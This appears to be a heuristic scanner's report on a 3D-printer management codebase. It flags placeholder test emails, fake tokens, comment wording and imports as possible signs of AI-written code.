LOWbackend/tests/unit/test_db_dialect.py240 assert rows[0] == "user@example.com"CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py96 result = await svc.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py112 result = await svc.verify_code("user@example.com", "123456")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py132 result = await svc.login_request("user@example.com", "wrong")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py145 await svc.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py148 result = await svc.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py156 await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py159 result = await second.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py167 await svc.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py171 result = await svc.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py182 await svc.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py193 await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/test_cloud_captcha_2790.py197 result = await cn.login_request("user@example.com", "pw")CODE
LOWbackend/tests/unit/services/test_ldap_service.py570 displayName="John Doe",CODE
LOWbackend/tests/unit/services/test_ldap_service.py571 cn="John Doe",CODE
LOWbackend/tests/unit/services/test_ldap_service.py581 assert results[0].display_name == "John Doe"CODE
LOWbackend/tests/unit/services/test_ldap_service.py673 displayName="John Doe",CODE
LOWbackend/tests/unit/services/test_ldap_service.py683 assert info.display_name == "John Doe"CODE
LOWbackend/tests/unit/services/test_email_service.py220 smtp_username="user@example.com",CODE
LOWbackend/tests/unit/services/test_email_service.py233 assert retrieved.smtp_username == "user@example.com"CODE
LOWbackend/tests/integration/test_advanced_auth_api.py383 json={"email": "test@test.com"},CODE
LOWbackend/tests/integration/test_advanced_auth_api.py17 "smtp_username": "test@test.com",CODE
LOWbackend/tests/integration/test_mfa_api.py2075 json={"email": "user@example.com"},CODE
LOWbackend/tests/integration/test_mfa_api.py2338 "smtp_username": "test@test.com",CODE
LOWbackend/tests/integration/test_mfa_api.py2481 fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"}CODE
LOWbackend/tests/integration/test_mfa_api.py2498 token_resp.json = MagicMock(return_value=fake_token)CODE
LOWbackend/tests/integration/test_mfa_api.py2509 mock_signing_key.key = "fake_key"CODE
LOWbackend/tests/integration/test_mfa_api.py3576 ("preferred_username", True, {"preferred_username": " User@EXAMPLE.COM "}, "user@example.com"),CODE
LOWbackend/tests/integration/test_mfa_api.py4092 claims={"sub": "nonstr-sub-1", "preferred_username": ["user@example.com"]},CODE
LOWbackend/tests/integration/test_mfa_api.py4153 assert link.provider_email == "user@example.com"CODE
LOWbackend/tests/integration/test_mfa_api.py4200 assert link.provider_email == "user@example.com"CODE
LOWbackend/tests/integration/test_mfa_api.py4532 fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"}CODE
LOWbackend/tests/integration/test_mfa_api.py4548 token_resp.json = MagicMock(return_value=fake_token)CODE
LOWbackend/tests/integration/test_mfa_api.py4559 mock_signing_key.key = "fake_key"CODE
LOWbackend/tests/integration/test_mfa_api.py4678 claims={"sub": "spaces-sub-1", "preferred_username": "John Doe"},CODE
LOWbackend/tests/integration/test_mfa_api.py4667 """preferred_username='John Doe' → sanitized to 'JohnDoe'."""STRING
LOWbackend/tests/integration/test_cloud_auth.py298 await store_token(db_session, "user-token-abc", "user@example.com", "global", user=user)CODE
LOWbackend/tests/integration/test_cloud_auth.py306 assert refreshed.cloud_email == "user@example.com"CODE
LOWbackend/tests/integration/test_cloud_auth.py549 json={"email": "user@example.com", "password": "x", "region": "china"},CODE
LOWbackend/tests/integration/test_cloud_auth.py572 "email": "user@example.com",CODE
LOW…d/tests/integration/test_cloud_token_auth_migration.py163 admin.cloud_email = "user@example.com"CODE
4 more matches not shown…
AI Slop Vocabulary19 hits · 47 pts
SeverityFileLineSnippetContext
MEDIUM…end/src/__tests__/components/LibraryTagsModal.test.tsx94 // In-use message — substring match keeps the test robust to whitespace.COMMENT
MEDIUM…end/src/__tests__/pages/InventoryPageLowStock.test.tsx420 // The exact count cell is rendered separately. Easiest robust assertion:COMMENT
MEDIUMtests/e2e_comprehensive_test.py333 """Run all comprehensive tests."""STRING
LOWbackend/app/main.py2292 # nothing to identify, prompting "+ Add" would just createCOMMENT
MEDIUMbackend/app/api/routes/system.py407 """Get comprehensive system information."""STRING
LOWbackend/app/api/routes/spoolman.py1211 # identity → confirm would just create a fresh Spoolman row per push.COMMENT
MEDIUMbackend/app/api/routes/camera.py905 # reinitialize_database() and lets the test harness's patch ofCOMMENT
MEDIUMbackend/app/api/routes/printers.py1075 # harness's patch of backend.app.core.database.async_session take effect.COMMENT
MEDIUMbackend/app/api/routes/printers.py4144 # the publish is the robust ack signal.COMMENT
LOWbackend/app/api/routes/printers.py699 # No conversion needed - just use the raw value directlyCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py4915 # Track RUNNING state for more robust completion detectionCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py5034 # Use _was_running flag in addition to _previous_gcode_state for more robust detectionCOMMENT
LOWbackend/app/services/bambu_mqtt.py2971 # We've already processed the status fields above, so just return if no ams listCOMMENT
MEDIUMbackend/tests/unit/test_scheduler_nozzle_mismatch.py193 # cleanup-library harness uses (get_ftp_retry_settings et al. open their ownCOMMENT
MEDIUMbackend/tests/unit/test_extract_video_last_frame.py161 # test fast — patch only inside the call so we don't affect the harness.COMMENT
LOWbackend/tests/unit/services/test_archive_service.py729 # When existing is None, just use additionalCOMMENT
MEDIUMbackend/tests/integration/test_security.py117 # by patching _load_or_generate_key directly. This is more robust thanCOMMENT
MEDIUM…/integration/test_users_groups_privilege_escalation.py159 # Operator attempts to elevate target to admin.COMMENT
MEDIUMbackend/tests/integration/test_ldap_provision.py353 # Operators group is auto-seeded by the test harness — no need to create it.COMMENT
AI Structural Patterns33 hits · 22 pts
SeverityFileLineSnippetContext
LOWbackend/app/api/routes/library.py2046CODE
LOWbackend/app/api/routes/print_log.py51CODE
LOWbackend/app/api/routes/cloud.py1409CODE
LOWbackend/app/api/routes/archives.py378CODE
LOWbackend/app/api/routes/archives.py685CODE
LOWbackend/app/api/routes/archives.py859CODE
LOWbackend/app/api/routes/archives.py958CODE
LOWbackend/app/api/routes/archives.py2801CODE
LOWbackend/app/api/routes/archives.py4370CODE
LOWbackend/app/api/routes/pipeline_runs.py806CODE
LOWbackend/app/api/routes/local_backup.py62CODE
LOWbackend/app/api/routes/camera.py1311CODE
LOWbackend/app/api/routes/notification_templates.py174CODE
LOWbackend/app/api/routes/settings.py1355CODE
LOWbackend/app/api/routes/printers.py977CODE
LOWbackend/app/api/routes/printers.py2410CODE
LOWbackend/app/api/routes/notifications.py254CODE
LOWbackend/app/services/spoolman.py673CODE
LOWbackend/app/services/print_log.py16CODE
LOWbackend/app/services/notification_service.py205CODE
LOWbackend/app/services/usage_tracker.py1132CODE
LOWbackend/app/services/export.py73CODE
LOWbackend/app/services/diagnostic_snapshot.py192CODE
LOWbackend/app/services/mqtt_smart_plug.py335CODE
LOWbackend/app/services/bambu_mqtt.py1063CODE
LOWbackend/app/services/bambu_mqtt.py5406CODE
LOWbackend/app/services/email_service.py88CODE
LOWbackend/app/services/archive.py1136CODE
LOWbackend/app/services/printer_manager.py875CODE
LOWbackend/app/services/virtual_printer/manager.py225CODE
LOWbackend/tests/unit/services/test_printer_diagnostic.py68CODE
LOWbackend/tests/integration/test_auth_apikey_rbac.py298CODE
LOWspoolbuddy/daemon/api_client.py60CODE
Modern AI Meta-Vocabulary6 hits · 21 pts
SeverityFileLineSnippetContext
MEDIUMbackend/app/main.py5736 # Register bed cooldown waiter (event-driven via on_bed_temp_update callback).COMMENT
MEDIUMbackend/app/api/routes/pipeline_runs.py366# Source resolution + orchestrationCOMMENT
MEDIUMbackend/app/api/routes/pipeline_runs.py589 # set unconditionally since the orchestration actually got here.COMMENT
MEDIUMbackend/app/api/routes/pipeline_runs.py972 # orchestration single-sourced. The result inherits parent_run_id. EveryCOMMENT
MEDIUMbackend/app/services/bambu_mqtt.py4356 # Notify bed temperature updates (used by event-driven bed cooldown monitor)COMMENT
MEDIUMbackend/tests/integration/test_pipeline_runs_api.py88 # Materialise an empty file on disk so the orchestration's path-existsCOMMENT
Hallucination Indicators2 hits · 20 pts
SeverityFileLineSnippetContext
CRITICALbackend/app/services/ldap_service.py17from ldap3.core.exceptions import LDAPObjectClassErrorCODE
CRITICALbackend/tests/unit/services/test_ldap_service.py14from ldap3.core.exceptions import LDAPObjectClassErrorCODE
Example Usage Blocks9 hits · 12 pts
SeverityFileLineSnippetContext
LOWdocker-publish.sh4# Usage:COMMENT
LOWdocker-publish-beta.sh4# Usage:COMMENT
LOWtest_security.sh6# Usage:COMMENT
LOWdocker-compose.yml5 # Usage:COMMENT
LOWdocker-publish-daily-beta.sh4# Usage:COMMENT
LOWinstall/install.sh6# Usage:COMMENT
LOWinstall/docker-install.sh6# Usage:COMMENT
LOWslicer-api/docker-compose.yml15# Usage:COMMENT
LOWspoolbuddy/install/install.sh9# Usage:COMMENT
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHbackend/app/services/firmware_check.py568 Check if a firmware update is available for a printer. Args: model: Printer model name STRING
Dead Code1 hit · 1 pts
SeverityFileLineSnippetContext
MEDIUMbackend/tests/unit/services/test_camera_fanout.py570CODE